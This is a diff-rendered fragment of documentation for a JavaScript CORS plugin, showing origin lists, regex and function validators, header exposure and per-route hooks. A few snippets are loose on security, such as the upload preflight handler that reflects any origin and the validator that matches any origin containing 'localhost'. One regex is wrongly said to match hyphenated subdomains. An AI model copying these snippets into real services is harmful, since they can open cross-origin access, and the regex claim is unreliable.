|
285
|
-
#### Multiple Origins
|
|
286
|
-
|
|
287
|
-
**What it does:** Allows access from a specific list of domains.
|
|
288
|
-
|
|
289
|
-
**Real-world scenario:** You have multiple legitimate frontends (main app, admin panel, mobile web) that need API access.
|
|
290
|
-
|
|
291
|
-
```javascript
|
|
292
|
-
await api.use(CorsPlugin, {
|
|
293
|
-
'rest-api-cors': {
|
|
294
|
-
origin: ['https://app.example.com', 'https://admin.example.com'],
|
|
295
|
-
credentials: true
|
|
296
|
-
}
|
|
297
|
-
});
|
|
298
|
-
```
|
|
299
|
-
|
|
300
|
-
**How it works:**
|
|
301
|
-
- The plugin checks if the request's origin is in the array
|
|
302
|
-
- Only exact matches are allowed
|
|
303
|
-
- For each allowed origin, the response includes that specific origin
|
|
304
|
-
|
|
305
|
-
**Example scenario:**
|
|
306
|
-
Your SaaS platform has multiple interfaces:
|
|
307
|
-
|
|
308
|
-
```javascript
|
|
309
|
-
await api.use(CorsPlugin, {
|
|
310
|
-
'rest-api-cors': {
|
|
311
|
-
origin: [
|
|
312
|
-
'https://app.mysaas.com', // Main application
|
|
313
|
-
'https://admin.mysaas.com', // Admin dashboard
|
|
314
|
-
'https://mobile.mysaas.com', // Mobile web version
|
|
315
|
-
'https://staging.mysaas.com' // Staging environment
|
|
316
|
-
],
|
|
317
|
-
credentials: true
|
|
318
|
-
}
|
|
319
|
-
});
|
|
320
|
-
```
|
|
321
|
-
|
|
322
|
-
**What happens:**
|
|
323
|
-
- Request from `https://app.mysaas.com` → Allowed, gets `Access-Control-Allow-Origin: https://app.mysaas.com`
|
|
324
|
-
- Request from `https://blog.mysaas.com` → BLOCKED (not in the list)
|
|
325
|
-
- Request from `https://app.mysaas.com:3000` → BLOCKED (port must match exactly)
|
|
326
|
-
|
|
327
|
-
#### Pattern Matching with RegExp
|
|
328
|
-
|
|
329
|
-
**What it does:** Uses regular expressions to match origins dynamically.
|
|
330
|
-
|
|
331
|
-
**Real-world scenario:** You want to allow all subdomains of your main domain, or have a dynamic pattern for customer-specific domains.
|
|
332
|
-
|
|
333
|
-
```javascript
|
|
334
|
-
await api.use(CorsPlugin, {
|
|
335
|
-
'rest-api-cors': {
|
|
336
|
-
origin: /^https:\/\/.*\.example\.com$/,
|
|
337
|
-
credentials: true
|
|
338
|
-
}
|
|
339
|
-
});
|
|
340
|
-
```
|
|
341
|
-
|
|
342
|
-
**How it works:**
|
|
343
|
-
- The RegExp `/^https:\/\/.*\.example\.com$/` matches:
|
|
344
|
-
- `^https:\/\/` - Must start with `https://`
|
|
345
|
-
- `.*` - Any characters (subdomain)
|
|
346
|
-
- `\.example\.com$` - Must end with `.example.com`
|
|
347
|
-
|
|
348
|
-
**What it matches:**
|
|
349
|
-
- ✅ `https://app.example.com`
|
|
350
|
-
- ✅ `https://staging.example.com`
|
|
351
|
-
- ✅ `https://customer1.example.com`
|
|
352
|
-
- ✅ `https://api.v2.example.com` (multiple subdomains)
|
|
353
|
-
- ❌ `https://example.com` (no subdomain)
|
|
354
|
-
- ❌ `http://app.example.com` (HTTP not HTTPS)
|
|
355
|
-
- ❌ `https://app.example.org` (wrong TLD)
|
|
356
|
-
|
|
357
|
-
**Real-world example:** Multi-tenant SaaS where each customer gets a subdomain:
|
|
358
|
-
|
|
359
|
-
```javascript
|
|
360
|
-
// Allow any customer subdomain
|
|
361
|
-
await api.use(CorsPlugin, {
|
|
362
|
-
'rest-api-cors': {
|
|
363
|
-
origin: /^https:\/\/[a-z0-9-]+\.myapp\.com$/,
|
|
364
|
-
credentials: true
|
|
365
|
-
}
|
|
366
|
-
});
|
|
367
|
-
|
|
368
|
-
// This allows:
|
|
369
|
-
// https://acme-corp.myapp.com
|
|
370
|
-
// https://tech-startup.myapp.com
|
|
371
|
-
// https://client-123.myapp.com
|
|
372
|
-
```
|
|
373
|
-
|
|
374
|
-
#### Dynamic Origin Validation
|
|
375
|
-
|
|
376
|
-
**What it does:** Uses a function to determine if an origin should be allowed, enabling complex logic.
|
|
377
|
-
|
|
378
|
-
**Real-world scenario:** You need to check origins against a database, implement rate limiting, or apply business logic.
|
|
379
|
-
|
|
380
|
-
```javascript
|
|
381
|
-
const allowedOrigins = new Set([
|
|
382
|
-
'https://app.example.com',
|
|
383
|
-
'https://staging.example.com'
|
|
384
|
-
]);
|
|
385
|
-
|
|
386
|
-
await api.use(CorsPlugin, {
|
|
387
|
-
'rest-api-cors': {
|
|
388
|
-
origin: (origin) => {
|
|
389
|
-
// Custom logic to determine if origin is allowed
|
|
390
|
-
return allowedOrigins.has(origin) || origin.endsWith('.trusted.com');
|
|
391
|
-
}
|
|
392
|
-
}
|
|
393
|
-
});
|
|
394
|
-
```
|
|
395
|
-
|
|
396
|
-
**How it works:**
|
|
397
|
-
- The function receives the origin from each request
|
|
398
|
-
- Returns `true` to allow, `false` to block
|
|
399
|
-
- Can implement any logic: database checks, pattern matching, time-based rules
|
|
400
|
-
|
|
401
|
-
**Advanced example with database check:**
|
|
402
|
-
|
|
403
|
-
```javascript
|
|
404
|
-
await api.use(CorsPlugin, {
|
|
405
|
-
'rest-api-cors': {
|
|
406
|
-
origin: async (origin) => {
|
|
407
|
-
// Check if origin is in our whitelist database
|
|
408
|
-
const isWhitelisted = await db('cors_whitelist')
|
|
409
|
-
.where({ origin, active: true })
|
|
410
|
-
.first();
|
|
411
|
-
|
|
412
|
-
if (isWhitelisted) return true;
|
|
413
|
-
|
|
414
|
-
// Check if it's a development environment
|
|
415
|
-
if (origin.includes('localhost') && process.env.NODE_ENV === 'development') {
|
|
416
|
-
return true;
|
|
417
|
-
}
|
|
418
|
-
|
|
419
|
-
// Check if it's a partner domain
|
|
420
|
-
const partner = await db('partners')
|
|
421
|
-
.where('domain', origin)
|
|
422
|
-
.where('api_access', true)
|
|
423
|
-
.first();
|
|
424
|
-
|
|
425
|
-
return !!partner;
|
|
426
|
-
}
|
|
427
|
-
}
|
|
428
|
-
});
|
|
429
|
-
```
|
|
430
|
-
|
|
431
|
-
**Rate limiting example:**
|
|
432
|
-
|
|
433
|
-
```javascript
|
|
434
|
-
const originRequestCounts = new Map();
|
|
435
|
-
|
|
436
|
-
await api.use(CorsPlugin, {
|
|
437
|
-
'rest-api-cors': {
|
|
438
|
-
origin: (origin) => {
|
|
439
|
-
// Always allow your main domains
|
|
440
|
-
if (origin === 'https://app.example.com') return true;
|
|
441
|
-
|
|
442
|
-
// Rate limit other origins
|
|
443
|
-
const count = originRequestCounts.get(origin) || 0;
|
|
444
|
-
if (count > 1000) {
|
|
445
|
-
console.warn(`Rate limit exceeded for origin: ${origin}`);
|
|
446
|
-
return false;
|
|
447
|
-
}
|
|
448
|
-
|
|
449
|
-
originRequestCounts.set(origin, count + 1);
|
|
450
|
-
return true;
|
|
451
|
-
}
|
|
452
|
-
}
|
|
453
|
-
});
|
|
454
|
-
```
|
|
455
|
-
|
|
456
|
-
#### Custom Headers
|
|
457
|
-
|
|
458
|
-
**What it does:** Configures which headers browsers can send to and receive from your API.
|
|
459
|
-
|
|
460
|
-
**Real-world scenario:** Your API uses custom headers for versioning, feature flags, or tracking.
|
|
461
|
-
|
|
462
|
-
```javascript
|
|
463
|
-
await api.use(CorsPlugin, {
|
|
464
|
-
'rest-api-cors': {
|
|
465
|
-
origin: '*',
|
|
466
|
-
allowedHeaders: [
|
|
467
|
-
'Content-Type',
|
|
468
|
-
'Authorization',
|
|
469
|
-
'X-API-Key',
|
|
470
|
-
'X-Client-Version'
|
|
471
|
-
],
|
|
472
|
-
exposedHeaders: [
|
|
473
|
-
'X-Total-Count',
|
|
474
|
-
'X-RateLimit-Limit',
|
|
475
|
-
'X-RateLimit-Remaining',
|
|
476
|
-
'X-Response-Time'
|
|
477
|
-
]
|
|
478
|
-
}
|
|
479
|
-
});
|
|
480
|
-
```
|
|
481
|
-
|
|
482
|
-
**Understanding allowedHeaders:**
|
|
483
|
-
These are headers the browser is allowed to include in requests:
|
|
484
|
-
- `Content-Type`: Essential for JSON APIs
|
|
485
|
-
- `Authorization`: For Bearer tokens, Basic auth
|
|
486
|
-
- `X-API-Key`: Custom API key header
|
|
487
|
-
- `X-Client-Version`: Track client app versions
|
|
488
|
-
|
|
489
|
-
**Understanding exposedHeaders:**
|
|
490
|
-
By default, JavaScript can only read these response headers: Cache-Control, Content-Language, Content-Type, Expires, Last-Modified, Pragma. Your custom headers need explicit exposure:
|
|
491
|
-
- `X-Total-Count`: Total items for pagination
|
|
492
|
-
- `X-RateLimit-Limit`: Max requests allowed
|
|
493
|
-
- `X-RateLimit-Remaining`: Requests left
|
|
494
|
-
- `X-Response-Time`: Performance monitoring
|
|
495
|
-
|
|
496
|
-
**Real-world example for a versioned API:**
|
|
497
|
-
|
|
498
|
-
```javascript
|
|
499
|
-
await api.use(CorsPlugin, {
|
|
500
|
-
'rest-api-cors': {
|
|
501
|
-
origin: 'https://app.example.com',
|
|
502
|
-
allowedHeaders: [
|
|
503
|
-
'Content-Type',
|
|
504
|
-
'Authorization',
|
|
505
|
-
'X-Request-ID', // For request tracking
|
|
506
|
-
'X-Client-ID', // Identify different client apps
|
|
507
|
-
'X-Feature-Flags' // Client-specific features
|
|
508
|
-
],
|
|
509
|
-
exposedHeaders: [
|
|
510
|
-
'X-Deprecated', // Warn about deprecated endpoints
|
|
511
|
-
'X-Request-ID', // For debugging
|
|
512
|
-
'X-Cache-Status', // Was this cached?
|
|
513
|
-
'X-Response-Time', // Performance metrics
|
|
514
|
-
'Link', // Pagination links
|
|
515
|
-
'Warning' // API warnings
|
|
516
|
-
]
|
|
517
|
-
}
|
|
518
|
-
});
|
|
519
|
-
```
|
|
520
|
-
|
|
521
|
-
## Common Use Cases
|
|
522
|
-
|
|
523
|
-
These examples show typical CORS configurations for different scenarios you'll encounter in real projects.
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
### Development Environment
|
|
527
|
-
|
|
528
|
-
**Purpose:** Maximum flexibility during development, allowing requests from any origin.
|
|
529
|
-
|
|
530
|
-
**Why you need this:** During development, you might access your API from:
|
|
531
|
-
- `http://localhost:3000` (React dev server)
|
|
532
|
-
- `http://localhost:8080` (Vue dev server)
|
|
533
|
-
- `http://127.0.0.1:5000` (Python Flask app)
|
|
534
|
-
- `http://192.168.1.100:3000` (testing on mobile via local network)
|
|
535
|
-
- Browser extensions, Postman, mobile apps, etc.
|
|
536
|
-
|
|
537
|
-
```javascript
|
|
538
|
-
await api.use(CorsPlugin, {
|
|
539
|
-
'rest-api-cors': {
|
|
540
|
-
origin: '*',
|
|
541
|
-
credentials: true
|
|
542
|
-
}
|
|
543
|
-
});
|
|
544
|
-
```
|
|
545
|
-
|
|
546
|
-
**What this enables:**
|
|
547
|
-
- ✅ Any developer can work with the API without CORS issues
|
|
548
|
-
- ✅ Testing tools (Postman, Insomnia) work without configuration
|
|
549
|
-
- ✅ Mobile app developers can test from devices/emulators
|
|
550
|
-
- ✅ No need to maintain a whitelist during rapid development
|
|
551
|
-
|
|
552
|
-
**Security note:** NEVER use this configuration in production. It allows any website to access your API and potentially access user data if they're logged in.
|
|
553
|
-
|
|
554
|
-
### Production with Known Clients
|
|
555
|
-
|
|
556
|
-
**Purpose:** Lock down your API to only trusted domains in production.
|
|
557
|
-
|
|
558
|
-
**Why you need this:** In production, you know exactly which domains should access your API. Restricting access prevents:
|
|
559
|
-
- Malicious websites from accessing your API
|
|
560
|
-
- Data scraping from unauthorized sources
|
|
561
|
-
- CSRF attacks from untrusted origins
|
|
562
|
-
|
|
563
|
-
```javascript
|
|
564
|
-
const isProduction = process.env.NODE_ENV === 'production';
|
|
565
|
-
|
|
566
|
-
await api.use(CorsPlugin, {
|
|
567
|
-
'rest-api-cors': {
|
|
568
|
-
origin: isProduction
|
|
569
|
-
? ['https://app.mycompany.com', 'https://admin.mycompany.com']
|
|
570
|
-
: '*',
|
|
571
|
-
credentials: true,
|
|
572
|
-
maxAge: isProduction ? 86400 : 3600
|
|
573
|
-
}
|
|
574
|
-
});
|
|
575
|
-
```
|
|
576
|
-
|
|
577
|
-
**What this does:**
|
|
578
|
-
- **In Production:** Only `app.mycompany.com` and `admin.mycompany.com` can access the API
|
|
579
|
-
- **In Development:** Any origin can access (for convenience)
|
|
580
|
-
- **maxAge difference:** Production caches preflight for 24 hours (less requests), development for 1 hour (faster config changes)
|
|
581
|
-
|
|
582
|
-
**Real-world example with environment configs:**
|
|
583
|
-
|
|
584
|
-
```javascript
|
|
585
|
-
// config/cors.js
|
|
586
|
-
const corsConfigs = {
|
|
587
|
-
development: {
|
|
588
|
-
origin: '*',
|
|
589
|
-
credentials: true,
|
|
590
|
-
maxAge: 3600 // 1 hour
|
|
591
|
-
},
|
|
592
|
-
staging: {
|
|
593
|
-
origin: [
|
|
594
|
-
'https://staging.myapp.com',
|
|
595
|
-
'https://preview.myapp.com',
|
|
596
|
-
'https://qa.myapp.com'
|
|
597
|
-
],
|
|
598
|
-
credentials: true,
|
|
599
|
-
maxAge: 43200 // 12 hours
|
|
600
|
-
},
|
|
601
|
-
production: {
|
|
602
|
-
origin: [
|
|
603
|
-
'https://app.myapp.com',
|
|
604
|
-
'https://www.myapp.com',
|
|
605
|
-
'https://mobile.myapp.com'
|
|
606
|
-
],
|
|
607
|
-
credentials: true,
|
|
608
|
-
maxAge: 86400 // 24 hours
|
|
609
|
-
}
|
|
610
|
-
};
|
|
611
|
-
|
|
612
|
-
await api.use(CorsPlugin, {
|
|
613
|
-
'rest-api-cors': corsConfigs[process.env.NODE_ENV] || corsConfigs.development
|
|
614
|
-
});
|
|
615
|
-
```
|
|
616
|
-
|
|
617
|
-
### Public API without Credentials
|
|
618
|
-
|
|
619
|
-
**Purpose:** Create a truly public API that anyone can use, like a weather service or data API.
|
|
620
|
-
|
|
621
|
-
**Why you need this:** Public APIs typically:
|
|
622
|
-
- Don't use cookies or session-based auth (use API keys instead)
|
|
623
|
-
- Should be accessible from any website
|
|
624
|
-
- Need to be cached efficiently by browsers
|
|
625
|
-
- Often read-only (GET requests only)
|
|
626
|
-
|
|
627
|
-
```javascript
|
|
628
|
-
await api.use(CorsPlugin, {
|
|
629
|
-
'rest-api-cors': {
|
|
630
|
-
origin: '*',
|
|
631
|
-
credentials: false,
|
|
632
|
-
methods: ['GET', 'OPTIONS'],
|
|
633
|
-
maxAge: 3600
|
|
634
|
-
}
|
|
635
|
-
});
|
|
636
|
-
```
|
|
637
|
-
|
|
638
|
-
**Key differences from default:**
|
|
639
|
-
- `credentials: false` - No cookies/auth headers (allows true wildcard)
|
|
640
|
-
- `methods: ['GET', 'OPTIONS']` - Read-only API
|
|
641
|
-
- `maxAge: 3600` - Shorter cache for easier updates
|
|
642
|
-
|
|
643
|
-
**Real-world example - Public data API:**
|
|
644
|
-
|
|
645
|
-
```javascript
|
|
646
|
-
// Public cryptocurrency prices API
|
|
647
|
-
await api.use(CorsPlugin, {
|
|
648
|
-
'rest-api-cors': {
|
|
649
|
-
origin: '*',
|
|
650
|
-
credentials: false, // No user-specific data
|
|
651
|
-
methods: ['GET', 'OPTIONS'], // Read-only
|
|
652
|
-
allowedHeaders: [
|
|
653
|
-
'Content-Type',
|
|
654
|
-
'X-API-Key' // Still require API key for rate limiting
|
|
655
|
-
],
|
|
656
|
-
exposedHeaders: [
|
|
657
|
-
'X-RateLimit-Limit',
|
|
658
|
-
'X-RateLimit-Remaining',
|
|
659
|
-
'X-RateLimit-Reset',
|
|
660
|
-
'X-Data-Source',
|
|
661
|
-
'X-Last-Updated'
|
|
662
|
-
],
|
|
663
|
-
maxAge: 300 // 5 minutes - data updates frequently
|
|
664
|
-
}
|
|
665
|
-
});
|
|
666
|
-
```
|
|
667
|
-
|
|
668
|
-
**What this achieves:**
|
|
669
|
-
- Any website can embed your data
|
|
670
|
-
- No security risks from credentials
|
|
671
|
-
- Browsers can efficiently cache responses
|
|
672
|
-
- API keys still work for rate limiting
|
|
673
|
-
|
|
674
|
-
### Subdomain Wildcard
|
|
675
|
-
|
|
676
|
-
**Purpose:** Allow all subdomains of your company domain while blocking external sites.
|
|
677
|
-
|
|
678
|
-
**Why you need this:** Common in organizations where:
|
|
679
|
-
- Different teams have different subdomains
|
|
680
|
-
- Customer-specific subdomains (tenant1.app.com, tenant2.app.com)
|
|
681
|
-
- Environment-based subdomains (dev.app.com, staging.app.com)
|
|
682
|
-
- Regional subdomains (us.app.com, eu.app.com, asia.app.com)
|
|
683
|
-
|
|
684
|
-
```javascript
|
|
685
|
-
await api.use(CorsPlugin, {
|
|
686
|
-
'rest-api-cors': {
|
|
687
|
-
origin: /^https:\/\/([a-z0-9]+[.])*mycompany\.com$/,
|
|
688
|
-
credentials: true
|
|
689
|
-
}
|
|
690
|
-
});
|
|
691
|
-
```
|
|
692
|
-
|
|
693
|
-
**What the regex allows:**
|
|
694
|
-
- ✅ `https://mycompany.com` (main domain)
|
|
695
|
-
- ✅ `https://app.mycompany.com` (single subdomain)
|
|
696
|
-
- ✅ `https://staging.app.mycompany.com` (nested subdomains)
|
|
697
|
-
- ✅ `https://customer-123.mycompany.com` (with hyphens)
|
|
698
|
-
- ❌ `http://app.mycompany.com` (not HTTPS)
|
|
699
|
-
- ❌ `https://mycompany.com.evil.com` (domain suffix attack)
|
|
700
|
-
- ❌ `https://app.mycompany.co` (wrong TLD)
|
|
701
|
-
|
|
702
|
-
**More specific examples:**
|
|
703
|
-
|
|
704
|
-
```javascript
|
|
705
|
-
// Only allow specific subdomain patterns
|
|
706
|
-
await api.use(CorsPlugin, {
|
|
707
|
-
'rest-api-cors': {
|
|
708
|
-
// Only customer subdomains (customer-xxx.myapp.com)
|
|
709
|
-
origin: /^https:\/\/customer-[a-z0-9]+\.myapp\.com$/,
|
|
710
|
-
credentials: true
|
|
711
|
-
}
|
|
712
|
-
});
|
|
713
|
-
|
|
714
|
-
// Allow multiple levels but require 'app' somewhere
|
|
715
|
-
await api.use(CorsPlugin, {
|
|
716
|
-
'rest-api-cors': {
|
|
717
|
-
// Matches: app.mycompany.com, staging.app.mycompany.com, app.eu.mycompany.com
|
|
718
|
-
origin: /^https:\/\/(.+\.)?app(\..+)?\.mycompany\.com$/,
|
|
719
|
-
credentials: true
|
|
720
|
-
}
|
|
721
|
-
});
|
|
722
|
-
|
|
723
|
-
// Different TLDs for different regions
|
|
724
|
-
await api.use(CorsPlugin, {
|
|
725
|
-
'rest-api-cors': {
|
|
726
|
-
origin: (origin) => {
|
|
727
|
-
const allowedPatterns = [
|
|
728
|
-
/^https:\/\/(.+\.)?mycompany\.com$/, // .com for US
|
|
729
|
-
/^https:\/\/(.+\.)?mycompany\.co\.uk$/, // .co.uk for UK
|
|
730
|
-
/^https:\/\/(.+\.)?mycompany\.de$/, // .de for Germany
|
|
731
|
-
/^https:\/\/(.+\.)?mycompany\.jp$/ // .jp for Japan
|
|
732
|
-
];
|
|
733
|
-
return allowedPatterns.some(pattern => pattern.test(origin));
|
|
734
|
-
},
|
|
735
|
-
credentials: true
|
|
736
|
-
}
|
|
737
|
-
});
|
|
738
|
-
```
|
|
739
|
-
|
|
740
|
-
## Advanced Patterns
|
|
741
|
-
|
|
742
|
-
These patterns show sophisticated CORS configurations for complex real-world scenarios.
|
|
743
|
-
|
|
744
|
-
### Why These Patterns Matter
|
|
745
|
-
|
|
746
|
-
1. **Environment-Based**: Different security requirements for dev/staging/prod
|
|
747
|
-
2. **Per-Route CORS**: Some endpoints need different CORS rules
|
|
748
|
-
3. **Authentication Integration**: CORS and auth systems must work together
|
|
749
|
-
4. **Base URL Support**: APIs served from subpaths need special handling
|
|
750
|
-
|
|
751
|
-
Each pattern solves specific architectural challenges you'll face in production systems.
|
|
752
|
-
|
|
753
|
-
### Environment-Based Configuration
|
|
754
|
-
|
|
755
|
-
```javascript
|
|
756
|
-
function getCorsConfig() {
|
|
757
|
-
const env = process.env.NODE_ENV;
|
|
758
|
-
|
|
759
|
-
switch (env) {
|
|
760
|
-
case 'development':
|
|
761
|
-
return {
|
|
762
|
-
origin: '*',
|
|
763
|
-
credentials: true,
|
|
764
|
-
maxAge: 3600 // 1 hour cache in dev
|
|
765
|
-
};
|
|
766
|
-
|
|
767
|
-
case 'staging':
|
|
768
|
-
return {
|
|
769
|
-
origin: [
|
|
770
|
-
'https://staging.example.com',
|
|
771
|
-
'https://preview.example.com'
|
|
772
|
-
],
|
|
773
|
-
credentials: true,
|
|
774
|
-
maxAge: 43200 // 12 hours
|
|
775
|
-
};
|
|
776
|
-
|
|
777
|
-
case 'production':
|
|
778
|
-
return {
|
|
779
|
-
origin: (origin) => {
|
|
780
|
-
// Allow production domains and verified partners
|
|
781
|
-
const allowed = [
|
|
782
|
-
'https://app.example.com',
|
|
783
|
-
'https://www.example.com'
|
|
784
|
-
];
|
|
785
|
-
|
|
786
|
-
const partners = getVerifiedPartnerDomains(); // Your logic
|
|
787
|
-
return allowed.includes(origin) || partners.includes(origin);
|
|
788
|
-
},
|
|
789
|
-
credentials: true,
|
|
790
|
-
maxAge: 86400 // 24 hours
|
|
791
|
-
};
|
|
792
|
-
|
|
793
|
-
default:
|
|
794
|
-
return { origin: 'https://localhost:3000' };
|
|
795
|
-
}
|
|
796
|
-
}
|
|
797
|
-
|
|
798
|
-
await api.use(CorsPlugin, {
|
|
799
|
-
'rest-api-cors': getCorsConfig()
|
|
800
|
-
});
|
|
801
|
-
```
|
|
802
|
-
|
|
803
|
-
### Per-Route CORS (Using Hooks)
|
|
804
|
-
|
|
805
|
-
**Important Understanding:** The CORS plugin is essentially a sophisticated header management system. It:
|
|
806
|
-
1. Intercepts requests to check origins
|
|
807
|
-
2. Handles OPTIONS preflight requests
|
|
808
|
-
3. Adds appropriate headers to responses
|
|
809
|
-
|
|
810
|
-
Since it works with headers, you can override or extend its behavior using hooks for specific routes.
|
|
811
|
-
|
|
812
|
-
**Why You'd Need Per-Route CORS:**
|
|
813
|
-
- Public endpoints vs authenticated endpoints
|
|
814
|
-
- Different security requirements for admin routes
|
|
815
|
-
- Partner-specific API endpoints
|
|
816
|
-
- Legacy compatibility requirements
|
|
817
|
-
|
|
818
|
-
```javascript
|
|
819
|
-
// Add custom headers for specific routes
|
|
820
|
-
api.addHook('transport:response', 'custom-cors', async ({ context }) => {
|
|
821
|
-
const { request, response } = context.transport;
|
|
822
|
-
|
|
823
|
-
// Add extra CORS headers for admin routes
|
|
824
|
-
if (request.path.startsWith('/api/admin')) {
|
|
825
|
-
response.headers['Access-Control-Allow-Origin'] = 'https://admin.example.com';
|
|
826
|
-
response.headers['Access-Control-Max-Age'] = '7200'; // Shorter cache for admin
|
|
827
|
-
}
|
|
828
|
-
});
|
|
829
|
-
```
|
|
830
|
-
|
|
831
|
-
**What This Code Does:**
|
|
832
|
-
1. Hooks into the response pipeline AFTER the CORS plugin
|
|
833
|
-
2. Checks if the request is for an admin route
|
|
834
|
-
3. Overrides the CORS headers for stricter control
|
|
835
|
-
4. Sets a shorter cache time for admin preflight requests
|
|
836
|
-
|
|
837
|
-
**Complete Per-Route Example:**
|
|
838
|
-
|
|
839
|
-
```javascript
|
|
840
|
-
// Different CORS policies for different route types
|
|
841
|
-
api.addHook('transport:response', 'route-specific-cors', {
|
|
842
|
-
order: -900 // Run after CORS plugin (which is -1000)
|
|
843
|
-
}, async ({ context }) => {
|
|
844
|
-
const { request, response } = context.transport;
|
|
845
|
-
const path = request.path;
|
|
846
|
-
|
|
847
|
-
// Public data endpoints - most permissive
|
|
848
|
-
if (path.startsWith('/api/public')) {
|
|
849
|
-
response.headers['Access-Control-Allow-Origin'] = '*';
|
|
850
|
-
delete response.headers['Access-Control-Allow-Credentials'];
|
|
851
|
-
}
|
|
852
|
-
|
|
853
|
-
// Admin endpoints - most restrictive
|
|
854
|
-
else if (path.startsWith('/api/admin')) {
|
|
855
|
-
const adminOrigins = ['https://admin.example.com'];
|
|
856
|
-
if (adminOrigins.includes(request.headers.origin)) {
|
|
857
|
-
response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
|
|
858
|
-
response.headers['Access-Control-Allow-Credentials'] = 'true';
|
|
859
|
-
} else {
|
|
860
|
-
// Remove CORS headers entirely - block the request
|
|
861
|
-
delete response.headers['Access-Control-Allow-Origin'];
|
|
862
|
-
delete response.headers['Access-Control-Allow-Credentials'];
|
|
863
|
-
}
|
|
864
|
-
}
|
|
865
|
-
|
|
866
|
-
// Partner endpoints - check partner status
|
|
867
|
-
else if (path.startsWith('/api/partner')) {
|
|
868
|
-
const partnerId = request.params.partnerId;
|
|
869
|
-
const partner = await getPartner(partnerId);
|
|
870
|
-
|
|
871
|
-
if (partner && partner.allowedOrigins.includes(request.headers.origin)) {
|
|
872
|
-
response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
|
|
873
|
-
response.headers['Access-Control-Expose-Headers'] = partner.exposedHeaders.join(', ');
|
|
874
|
-
}
|
|
875
|
-
}
|
|
876
|
-
});
|
|
877
|
-
```
|
|
878
|
-
|
|
879
|
-
**Route-Specific OPTIONS Handling:**
|
|
880
|
-
|
|
881
|
-
You are able to add route-specific headers by adding a route using the addRoute function:
|
|
882
|
-
|
|
883
|
-
```javascript
|
|
884
|
-
// Custom preflight handling for specific routes
|
|
885
|
-
api.addRoute({
|
|
886
|
-
method: 'OPTIONS',
|
|
887
|
-
path: '/api/upload/*',
|
|
888
|
-
handler: async ({ headers }) => {
|
|
889
|
-
// Special CORS for file uploads
|
|
890
|
-
return {
|
|
891
|
-
statusCode: 204,
|
|
892
|
-
headers: {
|
|
893
|
-
'Access-Control-Allow-Origin': headers.origin,
|
|
894
|
-
'Access-Control-Allow-Methods': 'POST, OPTIONS',
|
|
895
|
-
'Access-Control-Allow-Headers': 'Content-Type, Content-Length, X-File-Name',
|
|
896
|
-
'Access-Control-Max-Age': '300' // Only 5 minutes for upload endpoints
|
|
897
|
-
}
|
|
898
|
-
};
|
|
899
|
-
}
|
|
900
|
-
});
|
|
901
|
-
```
|
|
902
|
-
|
|
903
|
-
However, this must happen before the CORS plugin is registered, since the order in which URLs are added will matter.
|
|
904
|
-
|
|
905
|
-
### CORS with Authentication
|
|
906
|
-
|
|
907
|
-
**The Critical Relationship Between CORS and Authentication**
|
|
908
|
-
|
|
909
|
-
CORS and authentication are deeply intertwined. When your API uses authentication, CORS configuration becomes security-critical.
|
|
910
|
-
|
|
911
|
-
**Key Concepts:**
|
|
912
|
-
|
|
913
|
-
1. **Credentials in CORS** means:
|
|
914
|
-
- Cookies (session cookies, auth cookies)
|
|
915
|
-
- HTTP authentication headers
|
|
916
|
-
- TLS client certificates
|
|
917
|
-
|
|
918
|
-
2. **The Wildcard Restriction:**
|
|
919
|
-
- When `credentials: true`, you CANNOT use `origin: '*'`
|
|
920
|
-
- The browser requires an exact origin match
|
|
921
|
-
- This prevents malicious sites from using user's cookies
|
|
922
|
-
|
|
923
|
-
3. **Security Implications:**
|
|
924
|
-
- Wrong CORS + auth = security vulnerability
|
|
925
|
-
- Attackers could make authenticated requests from their sites
|
|
926
|
-
- User's cookies would be automatically included
|
|
927
|
-
|
|
928
|
-
**How Authentication Flows Work with CORS:**
|
|
929
|
-
|
|
930
|
-
1. **Login Flow:**
|
|
931
|
-
```
|
|
932
|
-
1. User visits https://app.example.com
|
|
933
|
-
2. App sends login request to https://api.example.com/auth/login
|
|
934
|
-
3. Browser includes Origin: https://app.example.com
|
|
935
|
-
4. API validates credentials
|
|
936
|
-
5. API sets auth cookie with SameSite=None; Secure
|
|
937
|
-
6. API responds with Access-Control-Allow-Origin: https://app.example.com
|
|
938
|
-
7. API responds with Access-Control-Allow-Credentials: true
|
|
939
|
-
8. Browser stores cookie for api.example.com
|
|
940
|
-
```
|
|
941
|
-
|
|
942
|
-
2. **Authenticated Request Flow:**
|
|
943
|
-
```
|
|
944
|
-
1. App makes request to https://api.example.com/user/profile
|
|
945
|
-
2. Browser automatically includes auth cookie
|
|
946
|
-
3. Browser includes Origin: https://app.example.com
|
|
947
|
-
4. API validates cookie and origin
|
|
948
|
-
5. API responds with user data and CORS headers
|
|
949
|
-
```
|
|
950
|
-
|
|
951
|
-
**Common pattern for APIs with authentication:**
|
|
952
|
-
|
|
953
|
-
```javascript
|
|
954
|
-
await api.use(CorsPlugin, {
|
|
955
|
-
'rest-api-cors': {
|
|
956
|
-
origin: (origin) => {
|
|
957
|
-
// Always allow your known origins
|
|
958
|
-
const knownOrigins = [
|
|
959
|
-
'https://app.example.com',
|
|
960
|
-
'https://mobile.example.com'
|
|
961
|
-
];
|
|
962
|
-
|
|
963
|
-
if (knownOrigins.includes(origin)) {
|
|
964
|
-
return true;
|
|
965
|
-
}
|
|
966
|
-
|
|
967
|
-
// For other origins, you might check against a database
|
|
968
|
-
// return checkOriginInDatabase(origin);
|
|
969
|
-
|
|
970
|
-
return false;
|
|
971
|
-
},
|
|
972
|
-
credentials: true, // Required for cookies/auth headers
|
|
973
|
-
allowedHeaders: [
|
|
974
|
-
'Content-Type',
|
|
975
|
-
'Authorization',
|
|
976
|
-
'X-CSRF-Token' // If using CSRF protection
|
|
977
|
-
],
|
|
978
|
-
exposedHeaders: [
|
|
979
|
-
'X-Auth-Token-Expiry',
|
|
980
|
-
'X-Rate-Limit-Remaining'
|
|
981
|
-
]
|
|
982
|
-
}
|
|
983
|
-
});
|
|
984
|
-
```
|
|
985
|
-
|
|
986
|
-
**Complete Authentication Example:**
|
|
987
|
-
|
|
988
|
-
```javascript
|
|
989
|
-
// Full setup for authenticated API
|
|
990
|
-
await api.use(CorsPlugin, {
|
|
991
|
-
'rest-api-cors': {
|
|
992
|
-
origin: (origin) => {
|
|
993
|
-
// Strict origin validation for authenticated endpoints
|
|
994
|
-
const allowedOrigins = [
|
|
995
|
-
'https://app.example.com',
|
|
996
|
-
'https://mobile.example.com',
|
|
997
